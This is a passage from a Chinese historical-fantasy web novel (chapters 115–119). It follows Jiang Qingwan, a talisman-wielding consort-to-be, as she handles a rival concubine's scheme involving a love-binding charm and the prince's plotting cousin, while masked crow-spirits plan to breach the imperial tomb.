好奇怪。 她扫视一圈,目光落在女子腰间的束带上。 因为卷轴不大,画得不是很清晰。 她凑近细细看了好一会儿也不是太能确定,那上面的绘着的是不是一块蛇口玉。 她师父也有一块蛇口玉。 宝贝的紧,连她都没摸到过。 大师兄偷偷告诉她,那是师父跟一个女子的定情信物,世界上就一对儿,是师父去极寒之地寻来的宝玉亲手雕刻的。 看这形状很像,可实在看不清楚。 若真是蛇口玉,难不成墨云寒和她那个未曾见过面的师娘有关系? 正想得出神,外面忽然传来苏柳儿的声音。 “你这小屁孩……” 她立刻将东西归位,刚转身走到门口就撞上了一个蓝衣少年,头上戴着蓝白的帽巾,瞧装扮像是太学院的学子。 “你是……” “你就是江清婉吧?” 少年冷冷开口,语气透着不爽。 江清婉点点头,“我是,你是谁?” 少年却一把将她给拽了出来,随即关上了门。 “我告诉你,我是绝对不会让你这种行为放浪之人玷污了我表哥的英名,你给我从王府里滚出去。” 江清婉恍然回神。 “你是宋夫人的儿子?” 郑成业傲气的扬起头。 “知道就好。” “虽然贴了皇榜,但你还未行礼祭祖便不是王妃,如此鬼祟的摸到我表哥的房间里,举止猥琐不雅,实在令人厌恶。我定会告知表哥,揭穿你狐媚的伪装,让你原形毕露。” 江清婉呵呵两声。 “那我等你。” 说完错身走向苏柳儿,将写着地址的宣纸递了过去。 可下一刻,宣纸就被郑成业先一步抢走打开。 “这是你偷的我表哥的机密吧,被我抓个正着,你还有何话辩解。” 苏柳儿瞥见了其上标注的位置,微微福了下身。 “多谢江娘子,告辞。” 说罢转身离开,身姿如柳,步步生莲。 那小腰晃得人眼晕。 郑成业瞬间涨红了脸。 “光天化日下袒露皮肉,不知羞耻!” 第115章 玄术惑人 江清婉也懒得要回那张解卦的纸,转身往后院走。 郑成业盯着她的背影又急又气。 一般女子,他这样说,肯定要羞愤难当的。 可这江氏如此淡然,定是脸皮极厚,半点礼义廉耻都不懂。 他将宣纸塞进怀里,只等着找个机会交给墨云寒,好好惩治一番。 直至看着江清婉彻底离开,他这才回去了宋氏所在的舒雅院。 刚走到院门口就看到了云筱然。 他欢喜的立刻迎了上去。 “筱然姐。” 云筱然刚在宋玉书那里碰了一鼻子灰,心里正压着火,看到他眼波一转,故意掩着帕子侧头擦了擦眼角,这才强颜欢笑的打了招呼,“是成业啊,今日太学院休沐吗?怎的这个时辰回来了?” 两个人相差不到三岁,关系颇为亲近。 见她如此凄婉,再想到皇榜上的言论,还有刚刚遇见的江清婉,郑成业更觉心疼愤怒。 “筱然姐,表哥那般喜欢你,定然是一时被人蒙蔽了眼睛才会如此,你莫要伤心,我一定会帮你的,绝对不会让那个江氏欺负你。” 云筱然心下正愁该怎么进展,闻言却故意红着眼眶摇了摇头。 “有你这句话,我就已经很开心了。这件事你不要参合了,我怕影响你和你母亲的感情。” “我母亲?”郑成业不解,“我母亲一直当你是亲生女儿,定然也是盼着你做正妃的。” 他年纪小,又在太学院读书,一心扑在学业上,平日休沐也只是回府拿些换洗的衣物,活的简单。 云家的事,宋玉书没跟他透露过半分。 因此他对其中恩怨,毫不知情。 云筱然的神态越发期期艾艾。 “舅母对我有些误会,以为我要逼婚云寒哥哥,不顾王府颜面。我只是不甘心做一个姨娘,太后又心疼我,便赐了銮驾和嫁衣凤冠,送我过来,却……却是好心办了坏事。” 她再次拿起帕子擦了擦眼角。 郑成业越发心疼。 “母亲为人宽厚,怎会对你这般苛责,我去问清楚。” 他想往院子里冲。 云筱然立刻拉住他。 “你不懂,成业,这件事,你真的不要管了,我怕……我怕你受到伤害。” 她如此这般,郑成业更觉疑心。 “筱然姐,你们怎么都变得这么奇怪,表哥为什么突然要娶那样一个浪荡女子为正妃,母亲又为何不拦着,还有你,为何就成了姨娘。你告诉我好不好,到底怎么了?” 云筱然似被他问得无可奈何,拉着他的袖子刻意压低了声音道,“江氏……会玄门之术,手段诡谲,你听我的,切莫惹她。” 郑成业震惊不已。 可所有谜团却也在此刻解开。 “原来如此。表哥知晓吗?为何不告诉表哥。他那般英明神武,定能察觉。” 云筱然摇头。 “她就是云寒哥哥请来的天师,为的什么,没人知道。我总觉得,云寒哥哥与她认识之后,性情大变,实在令人担忧。” 郑成业一直当墨云寒是心中无所不能的神,比对父亲郑擎还要敬重仰慕。 可眼下,这个神竟然被品行不端的江氏拉进泥沼而不自知,如何不令他心惊肉跳。 “那要如何是好?” 云筱然见他上套立刻安抚道,“这事急不来,若不是担心云寒哥哥和你们,我定不会这么着急以姨娘的身份要入府。我刚刚去找你母亲,原想今日吃个团圆饭,亲手做一道云寒哥哥以前爱吃的菜,或许能唤回他的心,可却被拒绝了,我……再找机会吧。” 她轻叹一声就准备离开。 郑成业此刻一心想帮忙,哪会怀疑她的用心。 “这有何难,我来帮你,你且等我好消息。” 云筱然却一脸担忧。 “不行,你母亲若知道,会生你气的。” “我不是小孩子了,此事你知我知,绝不会有第二人知晓。” 郑成业伸出尾指像小时候那般跟云筱然拉了钩,这才匆匆进了舒雅院。 看着自己的尾指,云筱然缓缓勾起唇角。 还真是柳暗花明又一村。 有了郑成业的帮忙,晚上的事,就成了一半。 …… 淮楼内,墨云寒没等来江清婉,只等来一封飞鸽传书。 “王妃不来,卦象已成,属下前去办事!” 连位置都没提。 夜七察言观色后一本正经下结论。 “定然是苏柳儿没加钱。” 墨云寒无语的瞥了他一眼。 这时身后参差不齐的书架墙内传来咯吱咯吱机关卡扣连接转动的声音,片刻后,其中一个书格啪的一下打开。 夜七立刻上前将里面的密函拿出来递给了墨云寒。 墨云寒展开,看完里面的内容,眉心瞬间皱起。 “去玄灵山。” 夜七愣住。 “玄灵山,那不是皇陵所在吗?王爷您去哪里做什么?” 墨云寒没解释,将手中的密函丢入火炭中。 其上字迹被火舌吞没。 “玄灵山有灵狐出没,可化形。” 夜七隐约看到了,快步拦在前面。 “王爷,现在去玄灵山的话,今晚子时赶不回来。” 经他提醒,墨云寒这才想起,每三日一次治腿,因上次急着去查金钩弯刀的事情,已经耽搁了一天。 已许久没疼的腿,昨夜就犯了毛病。 他忽又有些生气。 “她倒是半点不记得。” 夜七挠挠头,没敢搭话。 入夜后,宋玉书张罗了一桌子饭菜,让玉英去后院请江清婉,想将郑成业正式介绍给她认识。 以前不方便是因为名分未定,现在既然皇榜都贴了,一家人自然要多交流。 江清婉毫不客气地从酒窖里挖了两坛子女儿红,李斗和莲儿一人抱着一坛子,三人很快到场。 郑成业一改之前的态度,恭恭敬敬的行了礼。 清秀的脸显得异常的乖巧。 江清婉也只当之前不曾见过,从荷包里摸出个黄符刻了符箓折叠好递给他。 “这个护身符,当见面礼。” 旁人不知珍贵,宋玉书却很清楚,立刻开心的催促郑成业接过,还不忘叮嘱,“成业,你可一定要贴身守着,你表嫂的符很灵的。” 郑成业心中越发相信云筱然所言。 这个江氏心术不正,潜入王府用这种诡谲的法子迷惑别人。 他将符塞进衣襟内,准备找个机会寻个懂得的人问问到底是什么符。 几人刚坐下,墨云寒就从外面走了进来。 冷冽的音色带着几分温和,显然和这个表弟的关系极为融洽。 “成业回来了。” 郑成业立刻起身。 “表哥。” 迎上去的时候偷偷看了眼角落里的一名小厮。 那小厮本就站在人群外,悄无声息地退了出去。 第116章 不负春宵 墨云寒摸了摸郑成业的头,正准备在江清婉身边落座。 郑成业却先他一步坐下。 “我要跟表哥表嫂一起坐。” 宋玉书愣了一下,只以为小孩子喜欢新鲜人,也没当回事,抬手让玉桃和玉英立刻布菜。 “上次你爱吃的烧鸡我也准备了,今晚咱们再喝两盅,庆贺你和我们成了一家人。” 她是真心喜欢江清婉,却也知道墨云寒着急赐婚应另有深意。 至于将来会如何,她却是极看好的。 毕竟,她从未见过墨云寒对一个女子如此上心维护。 莲儿和李斗也忙将酒坛子启开放在了桌上。 女儿红的醇厚清香瞬间弥散开来。 宋玉书眉角不由跳了跳,神色有些怪。 “这是后院的女儿红?今日怎么想着喝这个酒?” 这酒是墨云寒为云筱然出嫁准备的。 今日云筱然以姨娘身份入府,他们在席间开了这个酒,多少有些怪异。 郑成业却道,“母亲不是说今日是喜事吗?喜事喝女儿红有什么问题吗?” 宋玉书虽觉不妥,却也没法解释,只讪讪笑了笑。 江清婉却在这时转头看向墨云寒,眸色清冽带着几分玩味。 “这酒现在还是喝不得吗?” 不知为何,墨云寒总觉得这话,含着刀子。 听进耳朵里,却又莫名让人觉得极为舒爽。 似拈了醋,味道恰到好处。 他黑眸扫过去,声音淡淡,“都送你了,你想喝便喝。” 江清婉收回目光,颇为满意的点点头,故意道,“应值不少银子。” 郑成业只觉市侩,越发看不上她。 各式各样的菜很快上齐,那盘橙黄酥香的烧鸡摆在了江清婉面前,其上的辣子经过火烧,香香辣辣的味道更加的让人食指大动。 宋玉书作为长辈刚准备提一杯酒,院门外就响起云筱然娇娇的声音。 “舅母,云寒哥哥。” 月色下,云筱然一袭素色淡青长裙,挽了夫人的发髻,褪去了白天的粉黛只描了花钿,少了几分娇纵多了几分清水出芙蓉的美。 手里提着一个食盒,身形袅袅的走了进来,距离几步远停下柔柔行礼。 “见过江姐姐。” 旁人还未反应过来,郑成业就已经站起来迎了上去。 “筱然姐你来了,正好,我们还没有吃,你这做的什么好吃的,一起摆上来的。” 他热情的招呼着,硬是将云筱然摁坐在了墨云寒的左手边,自己又坐回原处。 “母亲,儿子觉得这女儿红开的极好。当初表哥给筱然姐埋下的嫁妆,今日打开痛饮庆贺筱然姐入府,可谓是天地玉成。” 他说完转向江清婉。 “表嫂,你觉得呢?” 江清婉瞥了他一眼,又瞥了眼云筱然。 事不关己的揪下来一根鸡腿,“这酒,后院里还有不少,若不够我再让人去取,不过这烧鸡,你们不能抢。” 她说着送到嘴边咬了一口,顿觉唇齿留香。 莲儿不愿自家小姐受欺负,走过去给她斟酒。 “奴婢孤陋寡闻,还是第一次听说用女儿红庆贺姨娘入府的。” 气氛本就僵持,这话一出,更显剑拔弩张。 郑成业年少压不住脾气。 只觉这主仆二人都太过跋扈,一个小小丫鬟也敢欺负他的筱然姐姐,当下就要训斥。 云筱然却凄婉抬眸。 “江姐姐也觉得筱然不配吗?” 恰如其分的泪珠滚落过脸颊,她眼角余光一直盯着墨云寒,只等他心疼维护。 墨云寒却在这时看向郑业成,黑眸之中蕴着未知的情绪,沉郁压抑。 “今日不是休沐的日子,你为何突然回府?” 郑成业心下一凛,刚刚升起的怒火瞬间灭了,连眼神都不敢对视,低着头小声道,“我想母亲了,就回来看看。” 是真话还是假话,墨云寒一眼便知,但终究是不舍得苛责。 “你现在的任务是好好读书,外面的事都跟你无关,莫要分心多思。” 说完,他便站起身准备离席。 云筱然却急急拉住他的手腕,一双眸子含着盈盈春色。 “云寒哥哥,我已经是你的姨娘,太后亲自下的旨意,还赐了龙凤盏,今晚,你会陪筱然的对不对?” 墨云寒侧头,居高临下的看着她。 “太后赐的?” 云筱然立刻点头。 “是,让桂嬷嬷亲自送来的,我们小辈万万不可辜负她老人家的心意的。” 她说着松开手,打开食盒,端出一叠白玉蒸糕,再次痴痴的看向墨云寒。 “你还记得这个吗?” 墨云寒的眼底闪过一丝异样。 云杳杳给他塞的点心,每一次都有白玉蒸糕。 经过刚刚墨云寒的敲打,郑成业不敢再乱说话,怕被识破了和云筱然的里应外合,只低着头戳面前的碗碟。 江清婉瞥了他一眼,忽地淡淡开口。 “既然是太后亲赐的姨娘,今夜理应洞房花烛。” “宋夫人,送些酒菜过去吧,不能失了礼数。” 宋玉书顿觉一个头两个大。 “清婉,你怎么……” 江清婉实在不想浪费了这么好吃的烤鸡。 也不愿意看到厌烦的人跟自己同席,虚与委蛇,令人作呕。 直接忽视掉墨云寒落在她身上的灼热目光,让李斗将另一坛子酒封好。 “这酒赐给苏姨娘,祝二位龙凤呈祥,不负春宵。” 墨云寒周身寒气凌厉,那眼神落过去能将人凌迟。 “本王多谢王妃体恤,夜七,接酒,去风雅筑。” 说完拂袖而去。 云筱然大喜。 冲着江清婉福了福身,“多谢姐姐成全,这碟白玉蒸糕是云寒哥哥最爱吃的点心,送你尝尝。” 她将碟子放下,转身快步去追墨云寒,娇媚的声音还不忘吩咐守在院子里的下人。 “李嬷嬷,今晚多备些热水。” 江清婉吃鸡腿的动作猛地停了一下。 莲儿急的在旁跺脚。 “小姐,您怎么还把王爷往外推。” 江清婉啃完鸡腿才道,“我是王妃,不是皇上,岂能抗旨?” 一句话噎的莲儿不知如何是好。 墨云寒一走,周围那股威慑力也随之消散。 郑成业忽然拿起筷子给江清婉夹了块小排。 “表嫂多吃些,等正式成婚那日,表哥定然也会如待筱然姐一般待你。” 他故意如此,就是想江清婉吃醋发脾气。 最好掀了桌子,撒泼打滚。 越泼辣,就越显得筱然姐端庄贵气。 江清婉果然停下了动作,拿起帕子轻轻擦着手。 漂亮的眸子看向郑成业,清洌却又凌厉。 宋玉书知道她的脾气,忙解释道, “清婉,成业还小很多事都不知道,你莫要怪他。” 江清婉浅浅勾起唇角。 “不会,我只是有些好奇,你这个年龄,似乎对情爱之事颇为了解,太学院连男欢女爱都教吗?” 郑成业瞬间涨红了脸。 “你胡说什么,太学院乃神圣之地,怎会教这些污秽东西。” 江清婉点点头。 “听青蕊郡主提起,你父母二人鹣鲽情深,是难得的伉俪佳侣。” 闻言,郑成业立刻得意的扬起头。 “那是自然。” 江清婉收回目光,悠然的端起酒杯抿了一口。 “你受教于情感忠贞的父母,却如此欢喜的接受二女共侍一夫,理念如此相悖,若不是太学院所教,倒不知从何处学来。” 说罢,她将酒一饮而尽。 周围瞬时陷入一片死寂。 第117章 少年叛逆 郑成业聪慧,所以在太学院很快就升了甲班。 此刻满腹经纶,却找不到半句反驳的话。 一张清秀白净的脸涨得通红,羞愤又无措。 宋玉书本也是个心思通透之人,这会儿哪还能反应不过来。 气的一把将郑成业从椅子上拽起。 “清婉,我等会再过来与你赔罪。” 说罢便拉着儿子离开了舒雅院回了他的听涛小筑。 “你给我老实交代,云筱然是你叫去的吧?” 事情被拆穿,郑成业索性也不装了,梗着脖子怒道,“是又怎么样,本来表嫂的位置就是筱然姐的,你和表哥都被那个浪荡的女人给迷惑了。” “你给我闭嘴!” 宋玉书气的肺都快炸了。 “你才多大年纪,能看得清什么,有些事情不是表面你所看到的。云筱然她……” “母亲!” 郑成业此刻极为震怒,“您是王府的主母,心如明镜一般,父亲常夸您秀外慧中,您怎么就相信一个陌生女子,却偏不信从小看着长大的筱然姐呢?” 宋玉书不知该怎么解释。 云筱然杀了云家十三口的事情,并没有定论。 她可以不去猜测。 可是之前云筱然用媚药设局陷害江清婉,随手杀了张嬷嬷,逼迫墨云寒娶她等等事情,她都亲眼所见。 真实性情暴露无遗。 即便没有云杳杳的死,她也不愿意如此蛇蝎之人嫁给墨云寒。 但是这些话,她实在不愿告诉郑成业。 “是非对错,你将来自会明白,但以后云筱然的任何事,你都不许参合。” 她越是严令,半大的小伙子就越是叛逆。 郑成业从怀里摸出那张解卦的宣纸。 “今日我回府去找表哥,正好撞见那女人鬼鬼祟祟去了表哥的房间,偷拿了这个,母亲,铁证如山,她来王府绝对心怀不轨。” 宋玉书接过展开,却完全看不懂。 “这是什么?” 郑成业将纸又夺了回去塞进怀里。 “肯定是她摘录的密文,以为我们都看不懂,给我些时间,我定能查出真相。” 他又摸出那个护身符。 “母亲,你是不是也有一份,她定然是靠着这种手段才迷惑了你和表哥,把符给我,切莫再带着。” 宋玉书抬手敲在了他的脑门上。 “你太过偏见了。清婉心思纯净,是有大能之人,以后接触的多了,你自会看清。娘给你收拾换洗的衣物,趁着还未宵禁,即刻返回太学院,莫要再忧思家中事。” 她又让小厮去后厨单独端了饭菜过来。 另一边, 刚刚还热闹的餐桌,只剩下江清婉一人。 莲儿心里难受,眼眶都是红的。 李斗不懂这些,只杵在一旁守着。 热腾腾香辣酥嫩的烧鸡似乎也变得难以下咽。 江清婉连着喝了好几杯酒,站起身道,“李斗,我想喝鱼汤了。” 莲儿早就待不下去,立刻扶住她的手臂道,“小姐,莲儿还闷了牛肉,我们回去。” 江清婉侧头看着她。 “你也觉得我很可怜?” 莲儿赶紧吸了吸鼻子。 “没有,小姐是未来的九王妃,京城多少人羡慕着呢,怎么会可怜。奴婢……奴婢只是被酒气辣了眼睛。” 江清婉有些头晕。 轻声道,“我不喜欢墨云寒,一点都不喜欢。” …… 风雅筑内,浅黄暖帐,芙蓉锦被。 太后御赐的龙凤盏盛满了美酒,在烛火下泛着波光潋滟。 云筱然已经脱掉了外衫,薄如蝉翼的裙子遮不住胸前的风情,若隐若现的高耸,尽显女子之美。 她媚眼如丝的看着坐在桌前的男人,俊美如神祇,高不可攀。 曾经,她只在云杳杳的言谈中探得只言片语。 云杳杳是嫡长女,事事都先她一步。 她本就嫉恨。 后又从那一首首藏着少女心事的诗文和一张张不敢描绘五官的画中读到爱而不得的悲伤。 她当时就想,若是她能让墨云寒爱上,便是摘走了云杳杳最最宝贝的东西。 那才最是爽快。 可她找不到机会接近。 有一次她偷偷跟着云杳杳出门,看到她在大街上拦住墨云寒让他娶她。 哭的那么狼狈,却还是被拒绝。 少年手持长枪,鲜衣怒马,若天上坠入凡间的战神。 那一刻她就发誓,这一生,她一定要得到墨云寒,无论用什么样的手段。 如今,她终于得偿所愿。 “云寒哥哥,今天是筱然最开心最幸福的日子,难为桂嬷嬷还守在外面,我们不要让太后她老人家等太久,喝交杯吧。” 墨云寒的眸光终于落在她脸上。 平静无波,不喜不怒。 因为对云杳杳的愧疚,他照拂云筱然多年,却没想到养了只毒蛇。 他的目光从云筱然的脸上移到胸口落在腰间。 云筱然被他看得浑身轻颤,呼吸都变得急促,身体软的想往他怀里靠。 “衣服脱成这样,怎么还挂着荷包,谁送你的。” 冷淡的询问让云筱然稍稍恢复了些思绪。 “是太后所赠,她老人家祝愿我们情意缠绵,多子多福。云寒哥哥……” 她抬起手臂想去勾男人的脖子,下一刻人就瘫软在桌子上昏睡过去。 夜色越发深浓,直至红烛燃烬。 李嬷嬷进来送水,瞥见了墨云寒挂在床边的外衫,还有床边杂乱脱掉的长靴,抿着嘴偷偷退了出去,走到桂嬷嬷身边行了一礼。 “辛苦嬷嬷跑这一趟,事儿成了。” 桂嬷嬷年岁已高,此刻困倦不已,闻言点点头。 “如此,我也能回去交差了。” 她说完转身离开。 临近子时。 墨云寒悄无声息的出现在江清婉的房间。 看着她沉沉睡去的小脸,气的伸手捏了上去。 江清婉喝了酒睡得很沉,软软的抬手打开,丝毫没有要醒的意思。 墨云寒气的脸都黑了。 这女人到底有没有心? 将他送给别人去洞房,自己却还能安然的呼呼大睡。 他越想越气,索性弯起手指捏住了江清婉挺翘的琼鼻。 突然的呼吸不畅,让江清婉很快被憋醒,悠悠醒来,在看到床边坐着的墨云寒后有片刻的怔愣。 随后撑着手臂坐了起来,抬手揉了揉还有些沉胀的眉心。 “你完事了?” 墨云寒不说话,抿着唇冷冷的看着她。 缓解了胀疼,江清婉才又抬眸看向他。 “你去那边的小塌子上躺下,我一会给你治腿,我先醒醒酒。” 见她还记得治腿,墨云寒心里稍稍舒坦了一些,黑沉的眸子盯着她粉润的唇瓣,忽地哑声道, “本王有个法子能让你快速醒酒。” 第118章 一百两黄金 江清婉迷迷糊糊仰起头。 “什么?” 下一刻只觉眼前有阴影落下,鼻尖传来微凉的触感。 男人的气息袭来。 他的鼻尖抵着她的。 四目相对,她能看见男人眼底闪过的戏谑。 酒劲和睡意果然顷刻间消失。 她本能的迅速往后退。 小脸也跟着皱了起来。 “沐浴之后再来。” 墨云寒却偏不,反而往前又凑了凑。 “本王不脏,为何要去沐浴。” “脏不脏我说了算,你不要坐我的床。” 江清婉伸手去拽被他压住的被子,气鼓鼓的。 墨云寒的心情终于彻底回暖,噙着笑欺身上前,将人困在双臂之间。 “江清婉,你很在意为什么还要把我推出去,就不怕我真的碰了云筱然?” 江清婉身体后仰,闻言愣住。 “你没碰?” 墨云寒刚刚转晴的心情瞬间又跌入低谷,薄唇紧抿,很想伸手掐死她。 江清婉却又忽地哦了一声,似乎想明白了。 “你怕死,还记得我说过一年内不能近女色。” 墨云寒差点噎吐血。 起身离开坐在了小塌上。 江清婉也从床上走了下来。 她身上就穿了一件单衣,外衫都被莲儿收走明早要洗。 她穿上鞋拉开衣柜随便找了一件。 墨云寒的目光追随过去,看到了柜子上面摆放着的小小炉鼎,觉得有几分眼熟。 “那是什么?” 江清婉看他指的方向,随口回了句。 “炼丹的。” 墨云寒想起之前吃过的丹药,脑海中莫名浮现出江清婉像皇室祖祠壁画里的南极仙翁一样,挥动着佛尘,满脸慈悲地蹲在炉鼎前烧火炼丹的模样。 他快速收回目光低低笑出了声。 江清婉系好腰间束带走过来极不爽的看着他。 “你笑什么?我那炉鼎可是特制的,你这种凡夫俗子岂能看得懂。” 墨云寒低咳一声收了笑。 “你用什么炼丹,药材吗?” 江清婉的神情略有些不自然, “我为什么要告诉你,想拜师啊?以你的资质完全没希望。” 对此,墨云寒没反驳。 他从怀里摸出一张绢纸递过去,“你帮我看看上面的纹路,可有什么问题?” 江清婉正准备出门看看时辰,闻言凑过去。 绢纸在墨云寒的掌心展开,其上画着清晰的符箓,显然是个门外汉所画,许多该连接起来的地方,生硬的毫无灵气可言。 不过这符箓…… “东西哪来的?” 这是墨云寒在云筱然荷包的内层看到后描绘下来的。 他没解释,江清婉也没再追问。 去书案前拿了纸笔和宣纸又重新画了一副。 和墨云寒描绘的纹路一模一样,却在符箓刻画完成的瞬间,一股灵气跃然纸上。 即便墨云寒看不到,也能感觉到那股神秘的力量。 “这是什么符?” 江清婉用白嫩的手指轻轻点了点。 “是从云筱然身上得来的吧?” 墨云寒震惊不已。 “你是如何得知?” 江清婉撇撇唇角。 “这符箓只会是女子用,戴着这个与男子同房之后,这男子便如吸食了上瘾的毒药一般,对其欲罢不能,神思倦怠,长久下来,便会唯她是从。” “竟如此恶毒!” 墨云寒心中一寒。 江清婉轻哼。 “我告诉过你,是她杀了云杳杳,你还真当她是娇弱小美人?” 墨云寒没多解释,看着那张符箓道,“我记得你说过,世间万物相生相克,既有这等害人的符箓,定然有相克之法。” 江清婉顿时目露欣赏。 “你还是有几分天赋的。” 她眼底闪过狡黠。 “我告诉你,这符箓不仅有相克的法子,还有反噬的法子。你听过苗疆的情蛊吗?被种蛊之人,也会听命于下蛊之人,可若是被种蛊之人心志坚定,不被其控制,那么下蛊之人就会遭其反噬自食恶果。你舍得吗?” 墨云寒看着她娇俏灵动的模样,忽然伸手在她下巴上轻轻勾了一下。 “要怎么做?还请江天师赐教。” 指腹上的薄茧刮过肌肤,传来一阵酥麻。 江清婉直起身避开。 小手一伸,“一百两黄金。” 她发现,金子比银子更漂亮。 而且,等到有机会回祁连山,金子比银子更有用处。 墨云寒想起苏柳儿提过的一百两黄金,忍不住又勾了勾唇。 “行,就一百两。不过我身上没有,回头让夜七给你。” 江清婉没想到他真的同意。 小手收回在衣摆处轻轻搓了搓。 “我可不白收你的金子。” 她从腰间荷包里摸出两张空白符纸,指尖凝着灵力迅速刻画。 画好之后,又从另一个荷包里摸出两枚铜钱,以红线缠绕,分别包在黄符之中。 做完这些,她看向墨云寒。 “用点你的血。” 墨云寒的心猛地颤了颤。 遥远的记忆扑面而来。 “妖孽之子,即便是半妖,其血与人血也不同,只要启动特殊的阵法,一定能逼出原形。” 冰冷残忍的话在耳边响起。 皮肉被生生割开的疼,一下子将他拉回到曾经的椒房殿。 “快点啊。” 江清婉的催促让墨云寒回神,他沉默地用内力为刃划破了手指,递了过去。 江清婉握着他的手指在黄符上画了最后一道封印。 “好了!夜七,进来。” 守在外面的夜七顷刻间到了屋内。 “王妃。” 江清婉不太习惯。 “你还是叫我江娘子吧,我也没打算跟你家王爷白头到老。” 夜七愕然。 这话能随便说的吗? 他小心翼翼的看向自家主上,却发现墨云寒不知在想什么,神色肃穆,好像根本没有听见这句。 可那表情,绝对不是开心。 他忙拱手再次强调。 “王妃,府里的规矩不能乱。” 江清婉也懒得再纠正。 将两个折好的符纸递过去。 “一个丢在她的床下,另一个,丢在她所睡寝卧房顶的东南角,用瓦片盖住不可见阳光。” 夜七应下,接过符纸很快消失在夜色之中。 等房门再次关上。 墨云寒忽地问道,“江清婉,我的血,有什么问题吗?” 江清婉被问的一愣。 “能有什么问题?” 墨云寒盯着她的脸,试图从上面看出些端倪,却一无所获。 他有些失望,低头看着手指上残留的血,低低呢喃。 “那为什么要用我的血画符。” 江清婉顿觉无语。 “这是你跟云筱然的孽缘,难不成还要我去沾染因果?一百两黄金,你要的有点多了。” 墨云寒顿时怔愣当场。 原因就这么简单吗? 第119章 玄灵山有灵狐 坤宁宫内, 太后听完桂嬷嬷的陈述,甚是满意的点了点头。 “也不枉费哀家给了她这么多恩宠,总算是有些用处。” 桂嬷嬷又躬了躬身。 “您该休息,明日还要启程去护国寺为太上皇祈福。” 太后今日刚刚用了新的圣水沐浴,只觉连手指上的皱纹都少了许多,肌肤也变得细滑白嫩。 她满眼欣赏的看着,声音幽幽, “他现在已成了糟老头子,没多久可活,哀家一定好好求求菩萨,让他多活一日是一日,也好让他看看,他一心护着的小九,最后是什么样的结局。” …… 墨云寒是连夜出的王府,马匹在城外已有人准备,他和夜七御轻功飞跃的屋脊之上,如灵猫猎豹。 他们离开后的,两只赤眼乌鸦化作人形落在王府外无人的街道上。 黑色面具遮挡住五官,双眼诡异的泛着红色。 不似人一般。 粗哑的声音在面具之后传来。 “圣人算的还真准,这九王还真的是迫不及待。” “只可惜,灵狐化形是我们制造出来的,他终将一无所获。” “他不去,皇陵外的护山阵我们破不了,等拿到大周皇陵秘宝,圣人将带我们返回大隋皇陵旧址取得无根水,我们的诅咒必将解除。” “下一次的赤阳日还不知道何时出现,机会千载难逢,圣人交代,此次只许成功不许失败。” 二人都很激动。 身形很快化作乌鸦,一只追着墨云寒的方向而去,另一只直飞皇宫。 …… 玄灵山是京郊百里之外最大的一座山。 山峰陡峭险峻,据传曾有仙人在此坐化飞升。 百年前大周稳固,确立京都。 皇陵便迁至山中,周围建了护灵卫兵营。 十里之内,不准任何人靠近。 翌日正午。 玄灵山外最近的一处客栈内。 苏柳儿穿着黑色劲装正在用锋利的匕首切肉,一双漂亮的眼睛如鹰般锐利。 因地处偏远,即便是晌午时分,客栈里也没几个人。 掌柜的趴在柜台前打瞌睡。 这时一人匆匆跑了进来,凑到苏柳儿身边低语了几句。 苏柳儿眸色微眯。 “确定了吗?这一次要是再被他们逃跑,我都没脸回京了。” “确定了,不过那地离玄灵山太近了,万一……” 来人面色为难,苏柳儿将匕首擦拭赶紧塞回腰间。 “我们不敢进,他们一样不敢进,叫上兄弟们,走。” 玄灵山下护灵卫的主营帐内。 首领张衡水正要用午膳,一名卫兵就冲了进来。 “报!” 他手里的酒盏都惊掉在地上。 “报什么报?大白天的,皇陵还能闹鬼吗?说。” 卫兵气息都没来得及平复。 “将军,护山大阵动了。” 张衡水捡起的酒盏再次惊掉在了地上。 “你说什么?” 他家世代守灵,从爷爷辈到现在,每日生活枯燥,养的心性懒散。 毕竟玄灵山离京城不算太远,周围兵营众多,更是被四方城池包裹其中,根本没有人敢闯皇陵。 从他接任以来,护山大阵就没有动过。 不过父亲临终时告诉他,护山大阵是当年羽化成仙的仙人所设,一般玄门道人根本打不开,只有大周历代皇室人的血才能让护山大阵振动。 意识到发生了了不得的大事,张衡水急的脸上的肥肉都在颤。 “完了完了,这是哪个皇子要造反吗?怎么不去皇宫闹事,跑来皇陵做什么啊?赶紧集中兵力去皇陵守着,无论是谁都不准放进去。” 卫兵赶紧拦住他。 “将军,阵法异动的方位在后山,不在皇陵。” “后山?”张衡水瞪着他,“你是说,他们是想从后山攻进来,那可是有天险的啊!” 卫兵一脸神秘地凑过去。 “属下不知,但是属下今日听去采买的人说,有山外村中百姓有看到化形的灵狐朝着玄灵山的方向去了,这异动会不会是灵狐闯入?” 张衡水眼底闪了闪,紧绷的神经也松弛下来。 “有道理,后山险峻,根本就没有路,就算是想闯皇陵也不可能选择那里。看来这玄灵山真的是灵山啊,这狐狸最是精明,定然是寻到了旧日仙人坐化所在,想要借机成精啊。” 卫兵怂恿。 “将军,若是我们能将这狐狸抓到,进献给皇上,皇上定然龙颜大悦,说不定您就不用守灵了。这山外的美人可是多不胜数,还求将军升迁之后带着小人一起离开。” 张衡水闻言大喜。 “此事若成,本将军少不得你的好处,召集人马,去后山抓狐狸。” …… 王府后院内。 练了一夜丹药的江清婉刚刚醒来。 莲儿听见她起床的动静,立刻推门而入。 手里端着一盆温水,湿了帕子递了过去。 “小姐,您先擦擦脸,可有觉得哪里不舒服?” 江清婉摇头。 莲儿叹了口气,这时李斗在外面喊了声。 她忙接过帕子搭在一边急匆匆出去端了一个汤盅进来,喋喋不休的说着。 “奴婢给您熬的醒酒汤,温度刚刚好,您快喝了吧。” “您心里介怀,宿醉成这般,昨夜为何还要王爷去苏姨娘那里。奴婢虽不曾嫁过人,不懂这其中道理。可却见识过娶了姨娘忘了正妻的,您万万不可大意啊。” 江清婉喝了半盅汤润了润喉。 “我喝酒不是为了墨云寒。” 莲儿岂会相信。 “您听奴婢的,今日就搬去前院住,王爷心里有您,只要您主动些,早早怀上孩子,那便是王府嫡子,谁也别想撼动您的位置。” 在秦家的遭遇让她有些杯弓蛇影。 毕竟江清婉的出身无法跟云筱然比,难保将来墨云寒会为了其他事情如秦明朗般始乱终弃。 即便是赐了婚也不可说万无一失,但若是能生下嫡子,那就不一样了。 江清婉被她一通灌输,听得阵阵无奈。 瞥了眼外面有些刺眼的光,眯着眸子问,“青穗可有回来?” 莲儿这才想起,忙从腰间束带中摸出一张折叠着的纸递了过去。 “未到辰时便来了,见您没醒,留了字条就又匆匆走了。奴婢留她吃饭她也没理。小姐您让她去做什么了?怎的日日见不到。” 江清婉展开字条看了眼。 其上写着:护国寺,黑鸦未现身。 “护国寺?” 秦明朗去护国寺干什么? 